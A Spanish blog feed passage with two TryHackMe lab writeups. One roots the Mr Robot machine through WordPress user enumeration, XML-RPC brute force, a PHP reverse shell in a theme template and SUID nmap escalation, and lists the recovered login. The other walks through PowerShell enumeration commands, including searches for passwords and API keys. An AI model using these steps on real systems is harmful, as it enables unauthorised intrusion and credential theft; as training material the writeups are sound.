<p>Solo para este caso, tuve que verificar con otras personas estar llevando a cabo el paso correcto, y percatarme de que no hay otro modo de avanzar; así que, como no soy capaz de dejar la máquina en standby bruteforceando el login, tuve que obtener la contraseña de otros Writeups (si dejo mi máquina haciendo este procedimiento, por sus características terminaría freezando pasada media hora).</p>

<h1 id="índice">Índice</h1>
<ul>
  <li><a href="#introducción">Introducción</a></li>
  <li><a href="#índice">Índice</a></li>
  <li><a href="#escaneo-de-puertos">Escaneo de puertos</a></li>
  <li><a href="#servicio-http">Servicio HTTP</a>
    <ul>
      <li><a href="#análisis-del-wordpress">Análisis del Wordpress</a></li>
      <li><a href="#robots-primera-flag">Robots (Primera flag)</a></li>
      <li><a href="#fuerza-bruta-contra-el-xmlrpc">Fuerza bruta contra el XMLRPC</a></li>
      <li><a href="#acceso-al-wordpress">Acceso al Wordpress</a></li>
    </ul>
  </li>
  <li><a href="#reverse-shell-y-acceso-al-sistema">Reverse shell y acceso al sistema</a></li>
  <li><a href="#escalada-de-privilegios">Escalada de privilegios</a>
    <ul>
      <li><a href="#contraseña-guardada-para-robot">Contraseña guardada para <strong>robot</strong></a></li>
      <li><a href="#cambio-de-la-bash">Cambio de la bash</a></li>
      <li><a href="#volviendo-al-suid-nmap-segunda-y-tercera-flag">Volviendo al SUID nmap (segunda y tercera flag)</a></li>
    </ul>
  </li>
</ul>

<h1 id="escaneo-de-puertos">Escaneo de puertos</h1>
<p>Verificamos que se trata de una máquina Linux por medio de una traza ICMP.</p>

<p><img src="/assets/images/mrrobot/1.png" alt="1" /></p>

<p>Iniciamos con un escaneo básico con <strong>nmap</strong> en busca de puertos abiertos en el sistema víctima:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sS --min-rate 5000 -p- --open -Pn -n -vv 10.10.142.60 -oG allPorts
</code></pre></div></div>

<p><img src="/assets/images/mrrobot/2.png" alt="2" /></p>

<p>Observamos que hay dos puertos abiertos: el HTTP y el HTTPS. Realizamos un escaneo a profundidad de dichos puertos en busca de servicios y versiones que corren en ellos.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sC -sV -p80,443 10.10.142.60 -oN targeted
</code></pre></div></div>

<p><img src="/assets/images/mrrobot/3.png" alt="3" /></p>

<p>Vemos que en este segundo escaneo, ahora muestra los puertos como filtered. Y es que si intentamos correr el nmap anterior, veremos que ya no encontrará puerto alguno. Sin embargo, vamos a analizarlos.</p>

<h1 id="servicio-http">Servicio HTTP</h1>
<p>Probamos analizar los servicios con ayuda de whatweb, sin embargo, no es capaz de obtener información al respecto:</p>

<p><img src="/assets/images/mrrobot/4.png" alt="4" /></p>

<p>Si entramos por medio de un navegador al servicio web veremos una especie de terminal.</p>

<p><img src="/assets/images/mrrobot/5.png" alt="5" /></p>

<p>Esta terminal cuenta con un par de comandos personalizados, cada uno de ellos nos llevará a diferentes directorios donde podremos ver algunas imágenes, documentos y videos de la serie Mr Robot. Sin embargo, nada de esto es relevante para nuestro análisis ni acceso al sistema.</p>

<p>Analizando el código fuente de uno de estos directorios, me encuentro con un comentario donde indica que hay un tema instalado en el directorio de Wordpress, lo cual me lleva a creer que este servicio HTTP corre un Wordpress.</p>

<p>Nota: El servicio HTTPS es un espejo del HTTP, es decir, muestran exactamente la misma información.</p>

<h2 id="análisis-del-wordpress">Análisis del Wordpress</h2>
<p>Ingresamos al sitio de logueo para confirmar que se trata de un Wordpress:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/wp-admin.php
</code></pre></div></div>

<p><img src="/assets/images/mrrobot/6.png" alt="6" /></p>

<p>Como bien sabemos, el panel de logueo de este CMS nos permite enumerar usuarios válidos en el sistema al ingresar nuestra suposición en el formulario y, de acuerdo a la salida que obtengamos, sabremos si el usuario existe. Intentamos <em>admin</em>, pero este no existe.</p>

<p>Recordando que se trata de una máquina temática, pruebo nombres de personajes de la serie, empezando por los evidentes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mrrobot
elliot
</code></pre></div></div>

<p>Para mi suerte, el usuario <em>elliot</em> existe.</p>

<p><img src="/assets/images/mrrobot/7.png" alt="7" /></p>

<p>Como revisamos en una máquina anterior, el servicio XMLRPC nos permite realizar un ataque de fuerza bruta en busca de credenciales de Wordpress válidas. Accedemos al archivo para corroborar si tenemos acceso y volveremos a este más tarde:</p>

<p><img src="/assets/images/mrrobot/8.png" alt="8" /></p>

<h2 id="robots-primera-flag">Robots (Primera flag)</h2>
<p>Un escaneo realizado con ayuda de <strong>WPScan</strong> nos revela que el servicio web cuenta con un archivo <em>robots.txt</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wpscan --url http://10.10.142.60
</code></pre></div></div>

<p><img src="/assets/images/mrrobot/9.png" alt="9" /></p>

<p>Dentro de este archivo, veremos que hay dos ubicaciones ocultas:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fsocity.dic
key-1-of-3.txt
</code></pre></div></div>

<p><img src="/assets/images/mrrobot/10.png" alt="10" /></p>

<p>Uno de ellos es, evidentemente, la primera flag que nos solicita la plataforma:</p>

<p><img src="/assets/images/mrrobot/11.png" alt="11" /></p>

<p>Mientras que el segundo se trata de un diccionario de palabras con más de 850,000 entradas.</p>

<p><img src="/assets/images/mrrobot/12.png" alt="12" /></p>

<h2 id="fuerza-bruta-contra-el-xmlrpc">Fuerza bruta contra el XMLRPC</h2>
<p>Como ya lo mencioné, recordemos que al tener acceso al XMLRPC podemos llevar a cabo un ataque de fuerza bruta para poder obtener credenciales válidas del Wordpress. Para ello, corroboramos que podamos ejecutar la instrucción <strong>wp.getUserBlogs</strong> con ayuda de BurpSuite.</p>

<p><img src="/assets/images/mrrobot/13.png" alt="13" /></p>

<p>Evidentemente, esta ejecución nos devolverá que la contraseña o usuario son incorrectos, lo que nos indica que todo está funcionando correctamente. Ahora, aquí viene la parte fea y rara de la máquina en mi opinión.</p>

<p>Es evidente que este es el camino a seguir para lograr acceder al Wordpress y obtener una reverse shell, y más sabiendo que contamos con un diccionario que emplear para el ataque; sin embargo, al momento de iniciarlo con mi <a href="https://github.com/blu3ming/XMLRPC-Brute-Force">script</a>, me di cuenta de que tardaría un total de 7 días en completarse (XD), dado que no tiene bien implementados los hilos aún.</p>

<p>Por esta razón, intenté ahora emplear nuevamente herramientas de otros developers que encontré en GitHub, entre ellos, uno que permite declarar la cantidad de hilos que requerimos: <a href="https://github.com/aress31/xmlrpc-bruteforcer">xmlrpc-bruteforcer</a>. Aún con esto, no podemos declarar una enorme cantidad de hilos, dado que saturamos la red y muchos de los request no se harían correctamente, encontrándonos con falsos negativos.</p>

<p>Investigando más, me encuentro con un usuario que afirma que con la herramienta <strong>WPScan</strong> puedes declarar una cantidad de 10,000 hilos y que el programa terminaría el ataque en un total de 34 minutos, así que me decido a intentarlo. Por desgracia, aún con esa enorme cantidad de hilos, el ataque mostraba un tiempo estimado de 2 horas, mismas que iban aumentando cada que pasaba el tiempo; primero, no puedo dejar el ataque corriendo ahí en segundo plano dado que las máquinas en TryHackMe tienen un tiempo de actividad de dos horas, y cada cierto tiempo tenemos que estar extendiendo este tiempo manualmente; y segundo, mi computadora batalla al ejecutar la máquina virtual de Kali (por eso muchas veces ocupaba la Attacking Machine de TryHackMe), y si dejo el proceso corriendo, sin atender cada cierto tiempo a la máquina, esta se congela por completo sin dejarme controlarla nuevamente, obligándome a cerrar todo haciendo que el ataque no tenga sentido.</p>

<p>Es por esta razón que tuve que leer otros Writeups y encontrarme con la contraseña correcta, de otra manera no habría manera de que pudiera completar la máquina; acordemos que ya tenía la idea del camino y solo me detenía la potencia de mi computadora. El ataque fue exitoso, siendo las credenciales válidas:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elliot:ER28-0652
</code></pre></div></div>

<p>Y lo que es peor, esta contraseña está en los últimos lugares del diccionario, obligándonos a recorrerlo todo en el ataque para encontrarla.</p>

<p><img src="/assets/images/mrrobot/14.png" alt="14" /></p>

<h2 id="acceso-al-wordpress">Acceso al Wordpress</h2>
<p>Como las credenciales son válidas, logramos acceder al panel de administración del CMS.</p>

<p><img src="/assets/images/mrrobot/15.png" alt="15" /></p>

<p>Ya sabemos qué hacer a partir de ahora, modificar la plantilla de la página 404 del tema instalado en el Wordpress, subiendo una reverse shell en php y guardando los cambios.</p>

<p><img src="/assets/images/mrrobot/16.png" alt="16" /></p>

<h1 id="reverse-shell-y-acceso-al-sistema">Reverse shell y acceso al sistema</h1>
<p>Ya con la reverse shell en el Wordpress, accedemos al directorio del 404 o a cualquier página que no exista en el servidor, ya con una consola en escucha con netcat. Vemos cómo obtenemos la shell en el sistema.</p>

<p><img src="/assets/images/mrrobot/17.png" alt="17" /></p>

<p>Sin embargo, al momento de realizar el tratamiento de la TTY, me encuentro con que no existe la terminal XTERM en este, complicándome el poder obtener una shell completamente interactiva:</p>

<p><img src="/assets/images/mrrobot/18.png" alt="18" /></p>

<h1 id="escalada-de-privilegios">Escalada de privilegios</h1>
<p>Dado que no tenemos una terminal interactiva, lo único que podemos hacer es spawnear una con un prompt decente:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>script /dev/null -c bash
</code></pre></div></div>

<p>Por ahora, esto nos servirá para trabajar (no tendremos autocompletado, limpieza ni CTRL+C). Primero, buscamos por permisos SUID, encontrándonos con que el binario de <strong>nmap</strong> cuenta con estos.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / -perm -u=s 2&gt;/dev/null
</code></pre></div></div>

<p>Para poder spawnear una shell a partir de un nmap SUID, necesitamos que este cuente con el modo interactivo. Desde este modo, podemos indicarle que ejecute un comando, como darnos una shell como el usuario propietario del permiso (root).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/local/bin/nmap --interactive
</code></pre></div></div>

<p>Sin embargo, como podemos observar, al momento de querer entrar a este modo interactivo, la consola nos cierra toda posibilidad de ingresar datos.</p>

<p><img src="/assets/images/mrrobot/19.png" alt="19" /></p>

<h2 id="contraseña-guardada-para-robot">Contraseña guardada para <strong>robot</strong></h2>
<p>Siguiendo con la enumeración, vemos que en el directorio del usuario <strong>robot</strong> está la segunda flag, la cual tiene permisos de lectura bloqueados para cualquiera que no sea dicho usuario. Por otro lado, tenemos un archivo llamado <em>password.raw-md5</em>, al cual sí podemos acceder, encontrándonos con lo que parecen ser unas contraseñas hasheadas.</p>

<p><img src="/assets/images/mrrobot/20.png" alt="20" /></p>

<p>Pasándola por <em>crackstation</em>, vemos que la contraseña en texto plano es el alfabeto completo:</p>

<p><img src="/assets/images/mrrobot/21.png" alt="21" /></p>

<p>Ahora, si intentamos cambiar de usuario empleando estas credenciales, nuevamente tenemos el problema de que la consola nos cierra la posibilidad de introducir datos, imposibilitando el poder realizar cualquier acción.</p>

<p><img src="/assets/images/mrrobot/22.png" alt="22" /></p>

<h2 id="cambio-de-la-bash">Cambio de la bash</h2>
<p>Investigando sobre esto, me encuentro con que hay una manera secundaria de spawnear una bash semi-interactiva empleando Python (recordemos que antes empleamos el script /dev/null). Para spawnear esta, ejecutamos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python -c "import pty;pty.spawn('/bin/bash')"
</code></pre></div></div>

<p>Esto nos devolverá un prompt igual al que ya teníamos, pero con la ventaja de que en esta ocasión ya tenemos un poco de interactividad con la bash; tanto así, que ya tenemos la oportunidad de introducir valores en la consola.</p>

<h2 id="volviendo-al-suid-nmap-segunda-y-tercera-flag">Volviendo al SUID nmap (segunda y tercera flag)</h2>
<p>Como ya podemos interactuar más con la bash, me salto el paso de cambiar de usuario, enfocándome nuevamente en el nmap SUID. Tratamos de entrar al modo interactivo, notando cómo ahora ya podemos interactuar con este; ejecutamos lo siguiente:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!bash -p
</code></pre></div></div>

<p><img src="/assets/images/mrrobot/23.png" alt="23" /></p>

<p>Como podemos observar, nos devuelve una bash como el usuario <em>root</em>. Por último, ya como este usuario privilegiado, buscamos las dos flags que nos faltan de golpe.</p>

<p><img src="/assets/images/mrrobot/24.png" alt="24" /></p>]]></content><author><name>Blu3ming</name></author><category term="Comunidad" /><category term="Blog" /><category term="Writeup" /><category term="wordpress" /><category term="xmlrpc" /><category term="bruteforce" /><category term="tty" /><category term="nmap" /><category term="suid" /><summary type="html"><![CDATA[Esta máquina forma parte del apartado final del path. Se trata de una máquina Linux que deberemos rootear con el objetivo de obtener en el proceso un total de tres flags. Sin embargo, tiene un problema a mi parecer que veremos al momento de obtener acceso.]]></summary></entry><entry><title type="html">Room Hacking with Powershell - TryHackMe (Offensive Pentesting Path)</title><link href="https://blu3ming.github.io/room-powershell-walkthrough/" rel="alternate" type="text/html" title="Room Hacking with Powershell - TryHackMe (Offensive Pentesting Path)" /><published>2022-07-20T00:00:00+00:00</published><updated>2022-07-20T00:00:00+00:00</updated><id>https://blu3ming.github.io/room-powershell-walkthrough</id><content type="html" xml:base="https://blu3ming.github.io/room-powershell-walkthrough/"><![CDATA[<h1 id="introducción">Introducción</h1>
<p>La room se encuentra en <a href="https://tryhackme.com/room/powershell">TryHackMe</a>. Se trata de una máquina Windows donde tendremos que superar una serie de desafíos encontrando archivos y contenido con ayuda de comandos en Powershell. Esta será más una guía de la room que un walkthrough en sí, funcionando más como un cheatsheet de este.</p>

<p>Por cierto, nos hemos saltado toda la sección de Active Directory ya que no son máquinas que resolver como tal, sino guías para entender cómo enumerar y los tipos de ataque que se presentan en este tipo de entornos; la misma guía que da TryHackMe para cada room es suficiente y no vi necesario hacer entradas al respecto.</p>

<h1 id="índice">Índice</h1>
<ul>
  <li><a href="#introducción">Introducción</a></li>
  <li><a href="#índice">Índice</a></li>
  <li><a href="#basic-powershell-commands">Basic Powershell Commands</a>
    <ul>
      <li><a href="#what-is-the-location-of-the-file-interesting-filetxt">What is the location of the file “interesting-file.txt”</a></li>
      <li><a href="#specify-the-contents-of-this-file">Specify the contents of this file</a></li>
      <li><a href="#how-many-cmdlets-are-installed-on-the-systemonly-cmdlets-not-functions-and-aliases">How many cmdlets are installed on the system(only cmdlets, not functions and aliases)?</a></li>
      <li><a href="#get-the-md5-hash-of-interesting-filetxt">Get the MD5 hash of interesting-file.txt</a></li>
      <li><a href="#what-is-the-command-to-get-the-current-working-directory">What is the command to get the current working directory?</a></li>
      <li><a href="#does-the-path-cusersadministratordocumentspasswords-existyn">Does the path “C:\Users\Administrator\Documents\Passwords” Exist(Y/N)?</a></li>
      <li><a href="#what-command-would-you-use-to-make-a-request-to-a-web-server">What command would you use to make a request to a web server?</a></li>
      <li><a href="#base64-decode-the-file-b64txt-on-windows">Base64 decode the file b64.txt on Windows.</a></li>
    </ul>
  </li>
  <li><a href="#enumeration">Enumeration</a>
    <ul>
      <li><a href="#how-many-users-are-there-on-the-machine">How many users are there on the machine?</a></li>
      <li><a href="#which-local-user-does-this-sids-1-5-21-1394777289-3961777894-1791813945-501-belong-to">Which local user does this SID(S-1-5-21-1394777289-3961777894-1791813945-501) belong to?</a></li>
      <li><a href="#how-many-users-have-their-password-required-values-set-to-false">How many users have their password required values set to False?</a></li>
      <li><a href="#how-many-local-groups-exist">How many local groups exist?</a></li>
      <li><a href="#what-command-did-you-use-to-get-the-ip-address-info">What command did you use to get the IP address info?</a></li>
      <li><a href="#how-many-ports-are-listed-as-listening">How many ports are listed as listening?</a></li>
      <li><a href="#what-is-the-remote-address-of-the-local-port-listening-on-port-445">What is the remote address of the local port listening on port 445?</a></li>
      <li><a href="#how-many-patches-have-been-applied">How many patches have been applied?</a></li>
      <li><a href="#when-was-the-patch-with-id-kb4023834-installed">When was the patch with ID KB4023834 installed?</a></li>
      <li><a href="#find-the-contents-of-a-backup-file">Find the contents of a backup file.</a></li>
      <li><a href="#search-for-all-files-containing-api_key">Search for all files containing API_KEY</a></li>
      <li><a href="#what-command-do-you-do-to-list-all-the-running-processes">What command do you do to list all the running processes?</a></li>
      <li><a href="#what-is-the-path-of-the-scheduled-task-called-new-sched-task">What is the path of the scheduled task called new-sched-task?</a></li>
      <li><a href="#who-is-the-owner-of-the-c">Who is the owner of the C:</a></li>
    </ul>
  </li>
  <li><a href="#basic-scripting-challenge">Basic Scripting Challenge</a>
    <ul>
      <li><a href="#what-file-contains-the-password-and-what-is-the-password">What file contains the password? and What is the password?</a></li>
      <li><a href="#what-files-contains-an-https-link">What files contains an HTTPS link?</a></li>
    </ul>
  </li>
  <li><a href="#intermediate-scripting">Intermediate Scripting</a></li>
</ul>

<h1 id="basic-powershell-commands">Basic Powershell Commands</h1>
<h2 id="what-is-the-location-of-the-file-interesting-filetxt">What is the location of the file “interesting-file.txt”</h2>

<p>Para responder esta pregunta, debemos ejecutar un comando que busque en el sistema por archivos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ChildItem -Path 'C:\' -Recurse -ErrorAction SilentlyContinue | Where-Object -Property Name -Match 'interesting-file.txt'
</code></pre></div></div>

<p>Con esto le indicamos que busque en el directorio C: de manera recursiva e ignorando los errores de acceso que se pudiera encontrar un archivo cuyo nombre sea el indicado.</p>

<h2 id="specify-the-contents-of-this-file">Specify the contents of this file</h2>

<p>Para obtener el contenido de un archivo empleamos el comando:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-Content 'C:\Program Files\interesting-file.txt.txt'
</code></pre></div></div>

<p><img src="/assets/images/powershell/1.png" alt="1" /></p>

<h2 id="how-many-cmdlets-are-installed-on-the-systemonly-cmdlets-not-functions-and-aliases">How many cmdlets are installed on the system(only cmdlets, not functions and aliases)?</h2>

<p>El comando que nos devuelve el listado de cmdlets instalados en el sistema es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-Command
</code></pre></div></div>

<p>Sin embargo este nos devolverá todo lo que esté instalado, y la pregunta especifica que solo quiere los cmdlets. Con <strong>Get-Member</strong> obtenemos los parámetros que 
podemos solicitar del comando principal.</p>

<p><img src="/assets/images/powershell/2.png" alt="2" /></p>

<p>El parámetro que nos permitirá filtrar por lo que buscamos es <strong>CommandType</strong>. Solo le indicamos a la salida del comando anterior que busque por los tipos cmdlet únicamente:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-Command | Where-Object {$_.CommandType -eq 'cmdlet'} | Measure
</code></pre></div></div>

<p><strong>Measure</strong> nos permite contar todos los resultados obtenidos.</p>

<p><img src="/assets/images/powershell/3.png" alt="3" /></p>

<h2 id="get-the-md5-hash-of-interesting-filetxt">Get the MD5 hash of interesting-file.txt</h2>

<p>Buscamos por comandos que contengan en su nombre <em>hash</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-Command *hash*
</code></pre></div></div>

<p><img src="/assets/images/powershell/4.png" alt="4" /></p>

<p>La herramienta que nos ayudará es <strong>GetFileHash</strong>. Mandamos llamar a <strong>Get-Help</strong> para ver cómo podemos indicarle el algoritmo de hasheo. Esto se realiza con el parámetro <strong>-Algorithm</strong></p>

<p><img src="/assets/images/powershell/5.png" alt="5" /></p>

<p>Por lo tanto, ejecutamos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-FileHash -Algorithm MD5 'C:\Program Files\interesting-file.txt.txt'
</code></pre></div></div>

<p><img src="/assets/images/powershell/6.png" alt="6" /></p>

<h2 id="what-is-the-command-to-get-the-current-working-directory">What is the command to get the current working directory?</h2>

<p>Buscamos por comandos que contengan en su nombre <em>location</em>. El comando que buscamos es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-Location
</code></pre></div></div>

<p><img src="/assets/images/powershell/7.png" alt="7" /></p>

<h2 id="does-the-path-cusersadministratordocumentspasswords-existyn">Does the path “C:\Users\Administrator\Documents\Passwords” Exist(Y/N)?</h2>

<p>Para saber si existe el directorio, solo intentamos hacer un <em>cd</em> a este (ignoro si este paso se realizaba de un modo diferente). Como podemos observar, no podemos acceder dado que no existe.</p>

<p><img src="/assets/images/powershell/8.png" alt="8" /></p>

<h2 id="what-command-would-you-use-to-make-a-request-to-a-web-server">What command would you use to make a request to a web server?</h2>

<p>Buscamos por comandos que contengan en su nombre <em>reqest</em> y <em>web</em>. El comando que buscamos es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Invoke-WebRequest
</code></pre></div></div>

<p>De hecho, ya lo hemos estado utilizando en máquinas Windows.</p>

<p><img src="/assets/images/powershell/9.png" alt="9" /></p>

<h2 id="base64-decode-the-file-b64txt-on-windows">Base64 decode the file b64.txt on Windows.</h2>

<p>Proimero pasamos a una variable el contenido del archivo especificado:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$content = Get-Content 'C:\Users\Administrator\Desktop\b64.txt'
</code></pre></div></div>

<p>Posteriormente, ejecutamos la decodificación de base64:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$DECODED = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($content))
</code></pre></div></div>

<p>Y por último, solo imprimimos la variable $DECODED:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$DECODED
</code></pre></div></div>

<p><img src="/assets/images/powershell/10.png" alt="10" /></p>

<h1 id="enumeration">Enumeration</h1>

<h2 id="how-many-users-are-there-on-the-machine">How many users are there on the machine?</h2>

<p>El comando que nos devuelve todos los usuarios de una máquina es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-LocalUser
</code></pre></div></div>

<p>Recordemos que con <strong>Measure</strong> obtenemos la cantidad de resultados obtenidos por el comando anterior.</p>

<p><img src="/assets/images/powershell/11.png" alt="11" /></p>

<h2 id="which-local-user-does-this-sids-1-5-21-1394777289-3961777894-1791813945-501-belong-to">Which local user does this SID(S-1-5-21-1394777289-3961777894-1791813945-501) belong to?</h2>

<p>Seguimos empleando el mismo comando para listar a los usuarios, solo que ahora empleamos la propiedad <em>SID</em> para buscar a aquél que coincida con el indicado:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-LocalUser | Where-Object -Property SID -Match 'S-1-5-21-1394777289-3961777894-1791813945-501'
</code></pre></div></div>

<p><img src="/assets/images/powershell/12.png" alt="12" /></p>

<h2 id="how-many-users-have-their-password-required-values-set-to-false">How many users have their password required values set to False?</h2>

<p>Siguiendo el mismo principio que el ejercicio anterior, ahora empleamos el parámetro <em>PasswordRequired</em> y listamos aquellos que lo tengan seteado en <em>false</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-LocalUser | Where-Object -Property PasswordRequired -Match 'false'
</code></pre></div></div>

<p><img src="/assets/images/powershell/13.png" alt="13" /></p>

<h2 id="how-many-local-groups-exist">How many local groups exist?</h2>

<p>Para listar los grupos locales empleamos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-LocalGroup
</code></pre></div></div>

<p><img src="/assets/images/powershell/14.png" alt="14" /></p>

<h2 id="what-command-did-you-use-to-get-the-ip-address-info">What command did you use to get the IP address info?</h2>

<p>Buscamos un comando que contenga la cadena IP en el nombre:</p>

<p><img src="/assets/images/powershell/15.png" alt="15" /></p>

<p>El comando que buscamos es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-NetIPAddress
</code></pre></div></div>

<p>Corroboramos el output:</p>

<p><img src="/assets/images/powershell/16.png" alt="16" /></p>

<h2 id="how-many-ports-are-listed-as-listening">How many ports are listed as listening?</h2>

<p>Este comando fue engañoso, dado que no contiene la cadena <em>ports</em> en su nombre, así que tuve que Googlearlo en su lugar:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-NetTCPConnection
</code></pre></div></div>

<p><img src="/assets/images/powershell/17.png" alt="17" /></p>

<p>Si solo queremos filtrar aquellos que estén con estatus <em>Listen</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-NetTCPConnection | Where-Object -Property State -Match 'Listen'
</code></pre></div></div>

<h2 id="what-is-the-remote-address-of-the-local-port-listening-on-port-445">What is the remote address of the local port listening on port 445?</h2>

<p>Solo damos un vistazo a la salida del comando anterior para resolverlo.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>::
</code></pre></div></div>

<h2 id="how-many-patches-have-been-applied">How many patches have been applied?</h2>

<p>De igual manera, este comando tuve que Googlearlo ya que no hay una cadena en su nombre que incluya <em>patch</em> o algo similar:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-HotFix
</code></pre></div></div>

<p><img src="/assets/images/powershell/18.png" alt="18" /></p>

<h2 id="when-was-the-patch-with-id-kb4023834-installed">When was the patch with ID KB4023834 installed?</h2>

<p>Filtramos la salida anterior en busca de un <em>HotFixID</em> con el valor especificado:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-HotFix | Where-Object -Property HotFixID -Match 'KB4023834'
</code></pre></div></div>

<p><img src="/assets/images/powershell/19.png" alt="19" /></p>

<h2 id="find-the-contents-of-a-backup-file">Find the contents of a backup file.</h2>

<p>Para buscar por un archivo backup, tenemos que buscar aquellos que contengan la cadena <em>.bak</em> en su nombre, y para ello nuevamente hacemos uso de <em>Get-ChildItem</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ChildItem -Path 'C:\' -Recurse -ErrorAction SilentlyContinue -Include *.bak* -File
</code></pre></div></div>

<p><img src="/assets/images/powershell/20.png" alt="20" /></p>

<h2 id="search-for-all-files-containing-api_key">Search for all files containing API_KEY</h2>

<p>De manera similar al anterior, ahora debemos buscar por un archivo que contenga la cadena <em>API_KEY</em> dentro de su contenido, y para ello, hacemos uso de <em>Select-String</em></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ChildItem -Path 'C:\' -Recurse -ErrorAction SilentlyContinue | Select-String -pattern API_KEY
</code></pre></div></div>

<p>Esto nos devolverá un output bastante extenso sobre archivos que contengan dicha cadena, pero el que buscamos aparecerá casi al final del escaneo y será visible al momento; una API Key.</p>

<p><img src="/assets/images/powershell/21.png" alt="21" /></p>

<h2 id="what-command-do-you-do-to-list-all-the-running-processes">What command do you do to list all the running processes?</h2>

<p>Listamos comandos que contengan la cadena <em>process</em> en su nombre; el que buscamos es el siguiente:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-Process
</code></pre></div></div>

<p><img src="/assets/images/powershell/22.png" alt="22" /></p>

<h2 id="what-is-the-path-of-the-scheduled-task-called-new-sched-task">What is the path of the scheduled task called new-sched-task?</h2>

<p>No tengo una solución para este ejercicio, dado que el formato de respuesta en TryHackMe ya nos dice que es simplemente una diagonal, refiriéndose a la raíz:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/
</code></pre></div></div>

<h2 id="who-is-the-owner-of-the-c">Who is the owner of the C:</h2>

<p>De manera análoga a cmd, busco un comando que contenga en su nombre la cadena <em>ACL</em>, que es la encargada de permisos en Windows; el comando que necesitamos es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-Acl 'C:\'
</code></pre></div></div>

<p><img src="/assets/images/powershell/23.png" alt="23" /></p>

<h1 id="basic-scripting-challenge">Basic Scripting Challenge</h1>
<p>El ejercicio nos pide modificar el script que encontraremos en el Escritorio (listening-ports.ps1) para poder responder a las preguntas planteadas, sin embargo, estas se responden simplemente con un comando oneliner.</p>

<h2 id="what-file-contains-the-password-and-what-is-the-password">What file contains the password? and What is the password?</h2>

<p>Buscamos un archivo que en su contenido contenga la cadena <em>password</em>, similar al ejercicio del apartado anterior:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ChildItem -Path 'C:\Users\Administrator\Desktop\emails' -Recurse -ErrorAction SilentlyContinue | Select-String -pattern password
</code></pre></div></div>

<p>Obtenemos respuesta para las primeras dos preguntas con solo ese comando.</p>

<p><img src="/assets/images/powershell/25.png" alt="25" /></p>

<h2 id="what-files-contains-an-https-link">What files contains an HTTPS link?</h2>

<p>De igual manera, ahora solo buscamos por la cadena <em>https</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ChildItem -Path 'C:\Users\Administrator\Desktop\emails' -Recurse -ErrorAction SilentlyContinue | Select-String -pattern https
</code></pre></div></div>

<p><img src="/assets/images/powershell/26.png" alt="26" /></p>

<h1 id="intermediate-scripting">Intermediate Scripting</h1>
<p>El ejercicio nos solicita un script que sea capaz de escanear puertos en el localhost y determinar si estos se encuentran abiertos o no; para corroborar su funcionamiento, solicitan saber cuántos se encuentran abiertos en el localhost en el rango de 130 a 140. Para ello, empleé el comando <em>Test-NetConnection</em>, el cual entabla una conexión TCP con el host y puerto que le especifiquemos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Test-NetConnection localhost -p 80
</code></pre></div></div>

